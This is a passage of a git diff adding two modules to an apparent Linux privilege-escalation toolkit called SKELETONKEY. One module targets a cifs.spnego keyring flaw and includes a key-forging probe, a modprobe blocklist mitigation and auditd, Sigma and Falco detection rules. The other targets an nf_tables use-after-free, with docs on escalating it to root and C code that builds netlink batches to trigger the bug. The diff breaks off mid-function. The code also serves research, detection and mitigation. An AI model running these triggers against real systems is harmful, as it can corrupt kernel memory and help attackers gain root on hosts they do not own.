+            "uid/creduid/upcall_target. CVE-2026-46243 reachable.\n", k);
+        fprintf(stderr,
+            "[i] cifswitch: the full root-pop (user+mount namespace switch "
+            "coercing cifs.upcall to load an attacker NSS module as root) is "
+            "target/config-specific and NOT bundled until VM-verified. Not "
+            "fabricating a shell. See module NOTICE.md (Asim Manizada PoC).\n");
+        return SKELETONKEY_EXPLOIT_FAIL;
+    }
+
+    if (errno == ENOSYS) {
+        fprintf(stderr, "[-] cifswitch: add_key(2) ENOSYS — keyrings "
+                        "unavailable in this kernel build\n");
+        return SKELETONKEY_PRECOND_FAIL;
+    }
+    fprintf(stderr,
+        "[-] cifswitch: kernel did not accept a userspace-forged cifs.spnego "
+        "key (add_key: %s). Inconclusive — the kernel may carry the fix "
+        "(3da1fdf4efbc rejects userspace descriptions), or the key type may "
+        "not permit direct add_key here. detect() reported the version+helper "
+        "as vulnerable; verify against a known-vulnerable VM.\n",
+        strerror(errno));
+    return SKELETONKEY_EXPLOIT_FAIL;
+}
+
+/* Mitigation: the vendor-recommended runtime fix is to blocklist the
+ * cifs module so the vulnerable upcall path cannot be reached. We write
+ * a modprobe.d blocklist (needs root; persists across reboot and blocks
+ * future autoload). We do not force-unload a possibly-mounted cifs. The
+ * real fix is the kernel patch. --cleanup removes the blocklist file. */
+#define CIFSWITCH_BLOCKLIST "/etc/modprobe.d/skeletonkey-disable-cifs.conf"
+
+static skeletonkey_result_t cifswitch_mitigate(const struct skeletonkey_ctx *ctx)
+{
+    int fd = open(CIFSWITCH_BLOCKLIST, O_WRONLY | O_CREAT | O_TRUNC, 0644);
+    if (fd < 0) {
+        fprintf(stderr, "[-] cifswitch: cannot write %s: %s "
+                        "(need root: run as root, or "
+                        "`echo 'blacklist cifs' | sudo tee %s`)\n",
+                CIFSWITCH_BLOCKLIST, strerror(errno), CIFSWITCH_BLOCKLIST);
+        return SKELETONKEY_PRECOND_FAIL;
+    }
+    static const char body[] =
+        "# Added by SKELETONKEY --mitigate cifswitch (CVE-2026-46243).\n"
+        "# Blocklists the cifs module so the vulnerable cifs.spnego upcall\n"
+        "# path cannot be reached. Remove via `--cleanup cifswitch`.\n"
+        "blacklist cifs\n"
+        "install cifs /bin/false\n";
+    ssize_t w = write(fd, body, sizeof body - 1);
+    close(fd);
+    if (w != (ssize_t)(sizeof body - 1)) {
+        fprintf(stderr, "[-] cifswitch: short write to %s\n", CIFSWITCH_BLOCKLIST);
+        return SKELETONKEY_EXPLOIT_FAIL;
+    }
+    fprintf(stderr, "[+] cifswitch: wrote %s (blocklist cifs). Already-loaded "
+                    "cifs stays until unmounted+`rmmod cifs` or reboot. This is "
+                    "a stopgap; patch the kernel. Revert: `--cleanup cifswitch`.\n",
+            CIFSWITCH_BLOCKLIST);
+    (void)ctx;
+    return SKELETONKEY_OK;
+}
+
+static skeletonkey_result_t cifswitch_cleanup(const struct skeletonkey_ctx *ctx)
+{
+    if (unlink(CIFSWITCH_BLOCKLIST) == 0) {
+        if (!ctx->json)
+            fprintf(stderr, "[*] cifswitch: removed %s\n", CIFSWITCH_BLOCKLIST);
+    } else if (errno != ENOENT) {
+        fprintf(stderr, "[-] cifswitch: could not remove %s: %s\n",
+                CIFSWITCH_BLOCKLIST, strerror(errno));
+    }
+    return SKELETONKEY_OK;
+}
+
+#else  /* !__linux__ */
+
+/* Non-Linux dev builds: keyrings, cifs.upcall and modprobe are all
+ * Linux-only. Stub so the module still registers and `make` completes on
+ * macOS/BSD dev boxes. */
+static skeletonkey_result_t cifswitch_detect(const struct skeletonkey_ctx *ctx)
+{
+    if (!ctx->json)
+        fprintf(stderr, "[i] cifswitch: Linux-only module "
+                "(cifs.spnego keyring trust) — not applicable here\n");
+    return SKELETONKEY_PRECOND_FAIL;
+}
+static skeletonkey_result_t cifswitch_exploit(const struct skeletonkey_ctx *ctx)
+{
+    (void)ctx;
+    fprintf(stderr, "[-] cifswitch: Linux-only module — cannot run here\n");
+    return SKELETONKEY_PRECOND_FAIL;
+}
+static skeletonkey_result_t cifswitch_mitigate(const struct skeletonkey_ctx *ctx)
+{
+    (void)ctx;
+    return SKELETONKEY_PRECOND_FAIL;
+}
+static skeletonkey_result_t cifswitch_cleanup(const struct skeletonkey_ctx *ctx)
+{
+    (void)ctx;
+    return SKELETONKEY_OK;
+}
+
+#endif /* __linux__ */
+
+/* Embedded detection rules — keep the binary self-contained. The
+ * behavioural signal is a non-root process creating a `cifs.spnego` key
+ * (add_key/request_key) and/or an unexpected cifs.upcall execution
+ * paired with user-namespace setup. */
+static const char cifswitch_auditd[] =
+    "# CVE-2026-46243 (CIFSwitch) — auditd detection rules\n"
+    "# A non-root add_key/request_key for cifs.spnego is the core abuse,\n"
+    "# usually paired with unshare(CLONE_NEWUSER|CLONE_NEWNS) and a\n"
+    "# cifs.upcall execution that loads an attacker NSS module.\n"
+    "-a always,exit -F arch=b64 -S add_key     -F auid>=1000 -F auid!=4294967295 -k skeletonkey-cifswitch\n"
+    "-a always,exit -F arch=b64 -S request_key -F auid>=1000 -F auid!=4294967295 -k skeletonkey-cifswitch\n"
+    "-a always,exit -F arch=b64 -S unshare     -F auid>=1000 -F auid!=4294967295 -k skeletonkey-cifswitch\n"
+    "-w /usr/sbin/cifs.upcall -p x -k skeletonkey-cifswitch\n";
+
+static const char cifswitch_sigma[] =
+    "title: Possible CVE-2026-46243 CIFSwitch cifs.spnego keyring LPE\n"
+    "id: 9b2e7c10-skeletonkey-cifswitch\n"
+    "status: experimental\n"
+    "description: |\n"
+    "  Detects a non-root process creating a cifs.spnego key via\n"
+    "  add_key/request_key. CIFSwitch forges the authority-bearing fields\n"
+    "  (uid/creduid/upcall_target) in a cifs.spnego key description that\n"
+    "  the root cifs.upcall helper trusts, then uses namespace tricks to\n"
+    "  load an attacker NSS module as root. False positives: legitimate\n"
+    "  CIFS/Kerberos mounts normally trigger cifs.spnego from kernel\n"
+    "  context (root), not from an unprivileged add_key.\n"
+    "logsource: {product: linux, service: auditd}\n"
+    "detection:\n"
+    "  keyop:    {type: 'SYSCALL', syscall: ['add_key', 'request_key']}\n"
+    "  non_root: {auid|expression: '>= 1000'}\n"
+    "  condition: keyop and non_root\n"
+    "level: high\n"
+    "tags: [attack.privilege_escalation, attack.t1068, cve.2026.46243]\n";
+
+static const char cifswitch_falco[] =
+    "- rule: non-root cifs.spnego key creation (CVE-2026-46243 CIFSwitch)\n"
+    "  desc: |\n"
+    "    A non-root process creates a cifs.spnego key (add_key/request_key)\n"
+    "    or spawns cifs.upcall outside a kernel-initiated CIFS mount. The\n"
+    "    CIFSwitch LPE forges authority fields in the key description that\n"
+    "    the root cifs.upcall helper trusts, loading an attacker NSS module\n"
+    "    as root. False positives: container/CIFS tooling run as root.\n"
+    "  condition: >\n"
+    "    ((evt.type in (add_key, request_key)) or\n"
+    "     (spawned_process and proc.name = cifs.upcall)) and not user.uid = 0\n"
+    "  output: >\n"
+    "    non-root cifs.spnego key op / cifs.upcall (possible CVE-2026-46243)\n"
+    "    (user=%user.name proc=%proc.name pid=%proc.pid cmdline=\"%proc.cmdline\")\n"
+    "  priority: HIGH\n"
+    "  tags: [process, mitre_privilege_escalation, T1068, cve.2026.46243]\n";
+
+const struct skeletonkey_module cifswitch_module = {
+    .name           = "cifswitch",
+    .cve            = "CVE-2026-46243",
+    .summary        = "cifs.spnego key type trusts userspace-forged authority fields → cifs.upcall loads attacker NSS module as root (Asim Manizada)",
+    .family         = "cifswitch",
+    .kernel_range   = "fixed 5.10.257 / 6.1.174 / 6.12.90 / 7.0.10 (Debian backports of commit 3da1fdf4efbc, mainline 7.1-rc5); ~19-year-old bug below those",
+    .detect         = cifswitch_detect,
+    .exploit        = cifswitch_exploit,
+    .mitigate       = cifswitch_mitigate,
+    .cleanup        = cifswitch_cleanup,
+    .detect_auditd  = cifswitch_auditd,
+    .detect_sigma   = cifswitch_sigma,
+    .detect_yara    = NULL,   /* attacker NSS .so has no stable signature; behavioural bug */
+    .detect_falco   = cifswitch_falco,
+    .opsec_notes    = "detect() consults the shared host fingerprint for the kernel version (Debian backports 5.10.257/6.1.174/6.12.90/7.0.10) and probes for the cifs.upcall helper / cifs.spnego request-key rule (override via SKELETONKEY_CIFS_ASSUME_PRESENT=1/0); a vulnerable kernel without cifs-utils is PRECOND_FAIL. exploit() fires only the non-destructive primitive: add_key(2) of a forged-but-benign cifs.spnego key (does NOT invoke cifs.upcall, loads nothing), revokes it immediately, and treats a clean accept as the empirical witness — it never runs the namespace-switch + malicious-NSS-load chain that pops root, and returns EXPLOIT_FAIL without a euid-0 witness. Audit-visible via add_key/request_key for cifs.spnego by a non-root auid, typically alongside unshare(CLONE_NEWUSER|CLONE_NEWNS) and a cifs.upcall execution. --mitigate writes /etc/modprobe.d/skeletonkey-disable-cifs.conf (blacklist cifs); --cleanup removes it. Arch-agnostic (no shellcode).",
+    .arch_support   = "any",
+};
+
+void skeletonkey_register_cifswitch(void)
+{
+    skeletonkey_register(&cifswitch_module);
+}

modules/cifswitch_cve_2026_46243/skeletonkey_modules.h

@@ -0,0 +1,12 @@
+/*
+ * cifswitch_cve_2026_46243 — SKELETONKEY module registry hook
+ */
+
+#ifndef CIFSWITCH_SKELETONKEY_MODULES_H
+#define CIFSWITCH_SKELETONKEY_MODULES_H
+
+#include "../../core/module.h"
+
+extern const struct skeletonkey_module cifswitch_module;
+
+#endif

modules/nft_catchall_cve_2026_23111/MODULE.md

@@ -0,0 +1,62 @@
+# nft_catchall — CVE-2026-23111
+
+An nf_tables use-after-free reachable from an unprivileged user: an
+inverted condition in `nft_map_catchall_activate()` mishandles catch-all
+map elements on transaction abort, freeing a chain that a catch-all GOTO
+verdict still references.
+
+## The bug
+
+nftables *maps* can hold a **catch-all** element — a default that matches
+when no other element does — and in a verdict map that element carries a
+GOTO/JUMP to a chain. `nft_map_catchall_activate()` runs during the
+**abort** phase of a netlink transaction to re-activate elements that a
+rolled-back batch had touched. A single inverted `!` makes it operate on
+*active* catch-all elements instead of skipping them, so the referenced
+chain's use-count is driven to zero; a subsequent `DELCHAIN` frees the
+chain while the catch-all verdict still points at it → **use-after-free**.
+
+Chaining a kernel-address leak, arbitrary R/W, and a ROP over
+`modprobe_path` / `selinux_state` turns the UAF into root — all reachable
+by an unprivileged user who has `CONFIG_USER_NS` to gain `CAP_NET_ADMIN`
+over a private network namespace.
+
+## Affected range
+
+| | |
+|---|---|
+| Vulnerable path introduced | ~5.13 (catch-all set elements) |
+| Fixed upstream | commit `f41c5d1…` (remove the inverted `!`) |
+| Debian backports | 6.1.164 (bookworm) · 6.12.73 (trixie) · 6.18.10 (forky·sid) |
+| Table thresholds | 6.1.164 · 6.12.73 · 6.18.10 (≤ Debian → drift-clean) |
+| NVD class | CWE-416 (Use After Free), CVSS 7.8 |
+| CISA KEV | no |
+
+The 5.10 (bullseye) branch is still unfixed at time of writing →
+version-only VULNERABLE there.
+
+## Trigger / detection
+
+`detect()` returns `OK` below ~5.13 or for patched kernels, `PRECOND_FAIL`
+when the kernel is vulnerable but unprivileged user-namespace clone is
+denied (exploit unreachable), and `VULNERABLE` when the version is in
+range and userns is allowed.
+
+`exploit()` forks an isolated child that enters `unshare(USER|NET)`, opens
+`NETLINK_NETFILTER`, builds a verdict map with a catch-all GOTO element,
+and sends an aborting batch to drive the abort-path UAF; it observes
+`nft_chain` / `kmalloc-cg-256` slabinfo and returns `EXPLOIT_FAIL`
+(primitive-only). The full leak + R/W + ROP root-pop is **not** bundled,
+and the trigger is reconstructed from public analysis, not VM-verified.
+
+## Fix / mitigation
+
+Upgrade the kernel. As a host hardening stopgap, deny unprivileged
+user-namespace clone (`sysctl kernel.unprivileged_userns_clone=0`, or the
+AppArmor `apparmor_restrict_unprivileged_userns` toggle) — that closes the
+unprivileged path even on a kernel-vulnerable host.
+
+## Credit
+
+Upstream fix `f41c5d1…`; public reproduction by FuzzingLabs. See
+`NOTICE.md`.

modules/nft_catchall_cve_2026_23111/NOTICE.md

@@ -0,0 +1,62 @@
+# NOTICE — nft_catchall (CVE-2026-23111)
+
+## Vulnerability
+
+**CVE-2026-23111** — a **use-after-free** in the Linux kernel `nf_tables`
+(netfilter) transaction-abort path. `nft_map_catchall_activate()` carries
+an **inverted condition** (a stray `!`): during a transaction *abort* it
+processes *active* catch-all set elements instead of skipping them. A
+catch-all element in an nftables **map** holds a verdict (GOTO/JUMP)
+referencing a chain; the wrong (de)activation drives the chain's
+use-count to zero, so a following `DELCHAIN` frees the chain while the
+catch-all verdict element still references it → UAF.
+
+From an **unprivileged** local user — via **user namespaces + nftables**
+(needs `CONFIG_USER_NS` + `CONFIG_NF_TABLES`) — the UAF is escalatable to
+root: leak a kernel address, obtain arbitrary R/W, ROP over
+`modprobe_path` / `selinux_state`.
+
+NVD class: **CWE-416** (Use After Free). CVSS v3.1 **7.8 HIGH**
+(`AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`). Affects current distros (Debian
+bookworm/trixie, Ubuntu 22.04/24.04). **Not** in CISA KEV.
+
+The fix removed a single character (the inverted `!`).
+
+## Research credit
+
+- **Fixed upstream** by commit
+  `f41c5d151078c5348271ffaf8e7410d96f2d82f8` ("netfilter: nf_tables: fix
+  … catch-all … activate"); reported and fixed through the Linux kernel
+  security process (NVD lists the source as `kernel.org`; no public
+  individual reporter name in the advisory).
+- **Public reproduction + analysis** by **FuzzingLabs** —
+  <https://fuzzinglabs.com/repro-cve-2026-23111/> — which the module's
+  trigger reconstruction is informed by.
+- Debian security tracker (authoritative backport versions):
+  <https://security-tracker.debian.org/tracker/CVE-2026-23111> —
+  bookworm 6.1.164 / trixie 6.12.73 / forky·sid 6.18.10 (bullseye/5.10
+  still unfixed at time of writing).
+
+All credit for finding and analysing this bug belongs to the upstream
+reporter and to FuzzingLabs for the public write-up. SKELETONKEY is the
+bundling and bookkeeping layer only.
+
+## SKELETONKEY role
+
+🟡 **Trigger (reconstructed) — primitive-only, not VM-verified.** This is
+one more UAF in the corpus's most-covered subsystem (`nf_tables`,
+`nft_set_uaf`, `nft_payload`, `nft_pipapo`, …), shipped on the same
+contract as `nf_tables` (CVE-2024-1086): a fork-isolated trigger that
+fires the bug class and stops.
+
+`detect()` version-gates against the Debian backports above (upstream
+thresholds 6.1.164 / 6.12.73 / 6.18.10; catch-all set elements arrived in
+~5.13, so older kernels lack the path) **and** requires unprivileged
+user-namespace clone — a vulnerable kernel with userns locked down is
+`PRECOND_FAIL`. `exploit()` builds a verdict map with a catch-all GOTO
+element and provokes an aborting batch transaction to drive the
+abort-path UAF, observes slabinfo, and returns `EXPLOIT_FAIL`. The
+per-kernel leak + arbitrary-R/W + `modprobe_path` ROP that lands a root
+shell is **not** bundled (per-build offsets refused), and the trigger is
+reconstructed from the public analysis rather than VM-verified — it never
+claims root it did not get.

modules/nft_catchall_cve_2026_23111/skeletonkey_modules.c

@@ -0,0 +1,589 @@
+/*
+ * nft_catchall_cve_2026_23111 — SKELETONKEY module
+ *
+ * CVE-2026-23111 — a use-after-free in the Linux kernel's nf_tables
+ * (netfilter) transaction-abort path. `nft_map_catchall_activate()`
+ * carries an inverted condition (a stray `!`): on transaction abort it
+ * processes *active* catch-all set elements instead of skipping them.
+ * A catch-all element in an nftables *map* holds a verdict (GOTO/JUMP)
+ * that references a chain; the wrong (de)activation lets the chain's
+ * use-count reach zero so a following DELCHAIN frees it while the
+ * catch-all verdict element still points at it → UAF. From an
+ * unprivileged user (via user namespaces + nftables) this is escalatable
+ * to root: leak a kernel address, win arbitrary R/W, ROP over
+ * modprobe_path / selinux_state.
+ *
+ * CWE-416 (Use After Free). CVSS 7.8 (AV:L/AC:L/PR:L/UI:N/C:H/I:H/A:H).
+ * Fixed upstream by commit f41c5d151078c5348271ffaf8e7410d96f2d82f8
+ * ("remove one exclamation mark"). Public reproduction + analysis by
+ * FuzzingLabs. NOT in CISA KEV.
+ *
+ * STATUS: 🟡 TRIGGER (reconstructed) — primitive-only, NOT VM-verified.
+ *   This is one more UAF in the most-covered subsystem in the corpus
+ *   (see nf_tables / nft_set_uaf / nft_payload / nft_pipapo / ...), and
+ *   like nf_tables (CVE-2024-1086) it is shipped as a fork-isolated
+ *   trigger that fires the bug class and STOPS. detect() version-gates
+ *   against the Debian-tracked backports below and additionally requires
+ *   unprivileged user-namespace clone (the bug is unreachable to an
+ *   unprivileged user without it). exploit() builds a map with a
+ *   catch-all GOTO element and provokes a failed (aborting) batch
+ *   transaction to drive the abort-path UAF, observes slabinfo, and
+ *   returns EXPLOIT_FAIL — the per-kernel leak + arbitrary-R/W + ROP that
+ *   lands a root shell is NOT bundled (per-build offsets refused), and
+ *   the trigger itself is reconstructed from the public analysis rather
+ *   than VM-verified. It never claims root it did not get.
+ *
+ * Affected range (Debian-tracked stable backports of the fix):
+ *   6.1.x  : K >= 6.1.164   (bookworm)
+ *   6.12.x : K >= 6.12.73   (trixie)
+ *   6.18.x : K >= 6.18.10   (forky / sid); 7.0+ inherits the fix
+ *   The 5.10 (bullseye) branch is still unfixed as of writing → version-
+ *   only VULNERABLE. Catch-all set elements were added in ~5.13, so the
+ *   vulnerable nft_map_catchall_activate path does not exist below that.
+ *
+ * Preconditions: CONFIG_NF_TABLES + CONFIG_USER_NS, and unprivileged
+ *   user-namespace clone permitted (modern Ubuntu's
+ *   apparmor_restrict_unprivileged_userns / a 0 sysctl closes this).
+ *
+ * arch_support: x86_64 (the groom + any future finisher are x86_64-tuned).
+ */
+
+#include "skeletonkey_modules.h"
+#include "../../core/registry.h"
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <stdbool.h>
+#include <unistd.h>
+
+#ifdef __linux__
+
+#include "../../core/kernel_range.h"
+#include "../../core/host.h"
+
+#include <stdint.h>
+#include <sched.h>
+#include <fcntl.h>
+#include <errno.h>
+#include <time.h>
+#include <sys/wait.h>
+#include <sys/socket.h>
+#include <sys/syscall.h>
+#include <arpa/inet.h>
+#include <linux/netlink.h>
+#include <linux/netfilter.h>
+#include <linux/netfilter/nfnetlink.h>
+#include <linux/netfilter/nf_tables.h>
+#include "../../core/nft_compat.h"  /* shims for newer-kernel uapi constants */
+
+/* Catch-all set-element flag — may be absent from older uapi headers. */
+#ifndef NFT_SET_ELEM_CATCHALL
+#define NFT_SET_ELEM_CATCHALL 0x2
+#endif
+
+/* ------------------------------------------------------------------
+ * Kernel-range table. Upstream-stable thresholds (<= the Debian
+ * package fixes, so the drift checker reports INFO, never TOO_TIGHT).
+ * security-tracker.debian.org is the source of record.
+ * ------------------------------------------------------------------ */
+static const struct kernel_patched_from nft_catchall_patched_branches[] = {
+    {6,  1, 164},   /* 6.1.x  (Debian bookworm fixed_version 6.1.164) */
+    {6, 12,  73},   /* 6.12.x (Debian trixie fixed_version 6.12.73) */
+    {6, 18,  10},   /* 6.18.x (Debian forky / sid fixed_version 6.18.10) */
+    /* 7.0+ inherits "patched" via the strictly-newer-than-all-entries
+     * rule — the fix predates the 7.0 branch. */
+};
+
+static const struct kernel_range nft_catchall_range = {
+    .patched_from = nft_catchall_patched_branches,
+    .n_patched_from = sizeof(nft_catchall_patched_branches) /
+                      sizeof(nft_catchall_patched_branches[0]),
+};
+
+static bool nf_tables_loaded(void)
+{
+    FILE *f = fopen("/proc/modules", "r");
+    if (!f) return false;
+    char line[512];
+    bool found = false;
+    while (fgets(line, sizeof line, f)) {
+        if (strncmp(line, "nf_tables ", 10) == 0) { found = true; break; }
+    }
+    fclose(f);
+    return found;
+}
+
+static skeletonkey_result_t nft_catchall_detect(const struct skeletonkey_ctx *ctx)
+{
+    const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
+    if (!v || v->major == 0) {
+        if (!ctx->json)
+            fprintf(stderr, "[!] nft_catchall: host fingerprint missing kernel "
+                            "version — bailing\n");
+        return SKELETONKEY_TEST_ERROR;
+    }
+
+    /* Catch-all set elements (and nft_map_catchall_activate) arrived in
+     * ~5.13. Below that the vulnerable path does not exist. */
+    if (!skeletonkey_host_kernel_at_least(ctx->host, 5, 13, 0)) {
+        if (!ctx->json)
+            fprintf(stderr, "[i] nft_catchall: kernel %s predates catch-all set "
+                            "elements (~5.13) — vulnerable path absent\n",
+                    v->release);
+        return SKELETONKEY_OK;
+    }
+
+    if (kernel_range_is_patched(&nft_catchall_range, v)) {
+        if (!ctx->json)
+            fprintf(stderr, "[+] nft_catchall: kernel %s is patched\n", v->release);
+        return SKELETONKEY_OK;
+    }
+
+    bool userns_ok = ctx->host ? ctx->host->unprivileged_userns_allowed : false;
+    if (!ctx->json) {
+        fprintf(stderr, "[i] nft_catchall: kernel %s in vulnerable range\n",
+                v->release);
+        fprintf(stderr, "[i] nft_catchall: unprivileged user_ns clone: %s\n",
+                userns_ok ? "ALLOWED" : "DENIED");
+        fprintf(stderr, "[i] nft_catchall: nf_tables module loaded: %s\n",
+                nf_tables_loaded() ? "yes" : "no (autoloads on first nft use)");
+    }
+
+    if (!userns_ok) {
+        if (!ctx->json) {
+            fprintf(stderr, "[+] nft_catchall: kernel vulnerable but unprivileged "
+                            "user_ns clone denied → unprivileged exploit "
+                            "unreachable\n");
+            fprintf(stderr, "[i] nft_catchall: still patch — a privileged "
+                            "attacker can trigger the abort-path UAF\n");
+        }
+        return SKELETONKEY_PRECOND_FAIL;
+    }
+
+    if (!ctx->json)
+        fprintf(stderr, "[!] nft_catchall: VULNERABLE — kernel in range AND "
+                        "unprivileged user_ns clone allowed\n");
+    return SKELETONKEY_VULNERABLE;
+}
+
+/* ------------------------------------------------------------------
+ * userns+netns entry: gain CAP_NET_ADMIN over a private netns so the
+ * malformed ruleset only touches our own namespace.
+ * ------------------------------------------------------------------ */
+static int enter_unpriv_namespaces(void)
+{
+    uid_t uid = getuid();
+    gid_t gid = getgid();
+    if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
+        perror("[-] unshare(USER|NET)");
+        return -1;
+    }
+    int f = open("/proc/self/setgroups", O_WRONLY);
+    if (f >= 0) { (void)!write(f, "deny", 4); close(f); }
+    char map[64];
+    snprintf(map, sizeof map, "0 %u 1\n", uid);
+    f = open("/proc/self/uid_map", O_WRONLY);
+    if (f < 0 || write(f, map, strlen(map)) < 0) {
+        perror("[-] uid_map"); if (f >= 0) close(f); return -1;
+    }
+    close(f);
+    snprintf(map, sizeof map, "0 %u 1\n", gid);
+    f = open("/proc/self/gid_map", O_WRONLY);
+    if (f < 0 || write(f, map, strlen(map)) < 0) {
+        perror("[-] gid_map"); if (f >= 0) close(f); return -1;
+    }
+    close(f);
+    return 0;
+}
+
+/* ------------------------------------------------------------------
+ * Minimal dep-free nfnetlink batch builder (same approach as the
+ * nf_tables module — libnftnl validates our malformed input away).
+ * ------------------------------------------------------------------ */
+#define ALIGN_NL(x)  (((x) + 3) & ~3)
+
+static void put_attr(uint8_t *buf, size_t *off, uint16_t type,
+                     const void *data, size_t len)
+{
+    struct nlattr *na = (struct nlattr *)(buf + *off);
+    na->nla_type = type;
+    na->nla_len  = NLA_HDRLEN + len;
+    if (len) memcpy(buf + *off + NLA_HDRLEN, data, len);
+    *off += ALIGN_NL(NLA_HDRLEN + len);
+}
+static void put_attr_u32(uint8_t *buf, size_t *off, uint16_t type, uint32_t v)
+{
+    uint32_t be = htonl(v);
+    put_attr(buf, off, type, &be, sizeof be);
+}
+static void put_attr_str(uint8_t *buf, size_t *off, uint16_t type, const char *s)
+{
+    put_attr(buf, off, type, s, strlen(s) + 1);
+}
+static size_t begin_nest(uint8_t *buf, size_t *off, uint16_t type)
+{
+    size_t at = *off;
+    struct nlattr *na = (struct nlattr *)(buf + at);
+    na->nla_type = type | NLA_F_NESTED;
+    na->nla_len  = 0;
+    *off += NLA_HDRLEN;
+    return at;
+}
+static void end_nest(uint8_t *buf, size_t *off, size_t at)
+{
+    struct nlattr *na = (struct nlattr *)(buf + at);
+    na->nla_len = (uint16_t)(*off - at);
+    while ((*off) & 3) buf[(*off)++] = 0;
+}
+
+struct nfgenmsg_local { uint8_t nfgen_family; uint8_t version; uint16_t res_id; };
+
+static void put_nft_msg(uint8_t *buf, size_t *off, uint16_t nft_type,
+                        uint16_t flags, uint32_t seq, uint8_t family)
+{
+    struct nlmsghdr *nlh = (struct nlmsghdr *)(buf + *off);
+    nlh->nlmsg_len   = 0;
+    nlh->nlmsg_type  = (NFNL_SUBSYS_NFTABLES << 8) | nft_type;
+    nlh->nlmsg_flags = NLM_F_REQUEST | flags;
+    nlh->nlmsg_seq   = seq;
+    nlh->nlmsg_pid   = 0;
+    *off += NLMSG_HDRLEN;
+    struct nfgenmsg_local *nf = (struct nfgenmsg_local *)(buf + *off);
+    nf->nfgen_family = family;
+    nf->version      = NFNETLINK_V0;
+    nf->res_id       = htons(0);
+    *off += sizeof(*nf);
+}
+static void end_msg(uint8_t *buf, size_t *off, size_t msg_start)
+{
+    struct nlmsghdr *nlh = (struct nlmsghdr *)(buf + msg_start);
+    nlh->nlmsg_len = (uint32_t)(*off - msg_start);
+    while ((*off) & 3) buf[(*off)++] = 0;
+}
+static void put_batch_marker(uint8_t *buf, size_t *off, uint16_t type, uint32_t seq)
+{
+    size_t at = *off;
+    struct nlmsghdr *nlh = (struct nlmsghdr *)(buf + at);
+    nlh->nlmsg_len   = 0;
+    nlh->nlmsg_type  = type;
+    nlh->nlmsg_flags = NLM_F_REQUEST;
+    nlh->nlmsg_seq   = seq;
+    nlh->nlmsg_pid   = 0;
+    *off += NLMSG_HDRLEN;
+    struct nfgenmsg_local *nf = (struct nfgenmsg_local *)(buf + *off);
+    nf->nfgen_family = AF_UNSPEC;
+    nf->version      = NFNETLINK_V0;
+    nf->res_id       = htons(NFNL_SUBSYS_NFTABLES);
+    *off += sizeof(*nf);
+    end_msg(buf, off, at);
+}
+
+static const char NFT_TABLE_NAME[] = "skeletonkey_t";
+static const char NFT_CHAIN_NAME[] = "skeletonkey_goto";  /* GOTO target chain */
+static const char NFT_MAP_NAME[]   = "skeletonkey_map";
+
+static void put_new_table(uint8_t *buf, size_t *off, uint32_t seq)
+{
+    size_t at = *off;
+    put_nft_msg(buf, off, NFT_MSG_NEWTABLE, NLM_F_CREATE | NLM_F_ACK, seq, NFPROTO_INET);
+    put_attr_str(buf, off, NFTA_TABLE_NAME, NFT_TABLE_NAME);
+    end_msg(buf, off, at);
+}
+/* A regular (non-base) chain that the catch-all GOTO verdict references.
+ * Once the catch-all element is wrongly (de)activated on abort, this
+ * chain's use-count is mishandled and it can be freed while referenced. */
+static void put_new_chain(uint8_t *buf, size_t *off, uint32_t seq)
+{
+    size_t at = *off;
+    put_nft_msg(buf, off, NFT_MSG_NEWCHAIN, NLM_F_CREATE | NLM_F_ACK, seq, NFPROTO_INET);
+    put_attr_str(buf, off, NFTA_CHAIN_TABLE, NFT_TABLE_NAME);
+    put_attr_str(buf, off, NFTA_CHAIN_NAME,  NFT_CHAIN_NAME);
+    end_msg(buf, off, at);
+}
+/* A verdict map (NFT_SET_MAP) whose data type is a verdict, so its
+ * elements (including the catch-all) carry GOTO/JUMP verdicts. */
+static void put_new_map(uint8_t *buf, size_t *off, uint32_t seq)
+{
+    size_t at = *off;
+    put_nft_msg(buf, off, NFT_MSG_NEWSET, NLM_F_CREATE | NLM_F_ACK, seq, NFPROTO_INET);
+    put_attr_str(buf, off, NFTA_SET_TABLE, NFT_TABLE_NAME);
+    put_attr_str(buf, off, NFTA_SET_NAME,  NFT_MAP_NAME);
+    put_attr_u32(buf, off, NFTA_SET_FLAGS, NFT_SET_MAP);
+    put_attr_u32(buf, off, NFTA_SET_KEY_TYPE, 13);             /* ipv4_addr-ish */
+    put_attr_u32(buf, off, NFTA_SET_KEY_LEN,  sizeof(uint32_t));
+    put_attr_u32(buf, off, NFTA_SET_DATA_TYPE, 0xffffff00);    /* "verdict" magic */
+    put_attr_u32(buf, off, NFTA_SET_DATA_LEN,  sizeof(uint32_t));
+    put_attr_u32(buf, off, NFTA_SET_ID, 0x2026);
+    end_msg(buf, off, at);
+}
+/* Catch-all element (NFT_SET_ELEM_CATCHALL) whose data is a GOTO verdict
+ * to NFT_CHAIN_NAME. This is the element nft_map_catchall_activate
+ * mishandles on abort. */
+static void put_catchall_goto(uint8_t *buf, size_t *off, uint32_t seq)
+{
+    size_t at = *off;
+    put_nft_msg(buf, off, NFT_MSG_NEWSETELEM, NLM_F_CREATE | NLM_F_ACK, seq, NFPROTO_INET);
+    put_attr_str(buf, off, NFTA_SET_ELEM_LIST_TABLE, NFT_TABLE_NAME);
+    put_attr_str(buf, off, NFTA_SET_ELEM_LIST_SET,   NFT_MAP_NAME);
+    size_t list_at = begin_nest(buf, off, NFTA_SET_ELEM_LIST_ELEMENTS);
+    size_t el_at   = begin_nest(buf, off, 1 /* NFTA_LIST_ELEM */);
+    /* catch-all: no key, just the CATCHALL flag */
+    put_attr_u32(buf, off, NFTA_SET_ELEM_FLAGS, NFT_SET_ELEM_CATCHALL);
+    /* data = GOTO verdict referencing our chain by name */
+    size_t data_at = begin_nest(buf, off, NFTA_SET_ELEM_DATA);
+    size_t v_at    = begin_nest(buf, off, NFTA_DATA_VERDICT);
+    put_attr_u32(buf, off, NFTA_VERDICT_CODE, (uint32_t)NFT_GOTO);
+    put_attr_str(buf, off, NFTA_VERDICT_CHAIN, NFT_CHAIN_NAME);
+    end_nest(buf, off, v_at);
+    end_nest(buf, off, data_at);
+    end_nest(buf, off, el_at);
+    end_nest(buf, off, list_at);
+    end_msg(buf, off, at);
+}
+/* A deliberately-invalid message: references a set that does not exist,
+ * so the kernel rejects it and ABORTS the whole batch transaction —
+ * running the buggy nft_map_catchall_activate over the active catch-all
+ * element we just created. */
+static void put_aborting_op(uint8_t *buf, size_t *off, uint32_t seq)
+{
+    size_t at = *off;
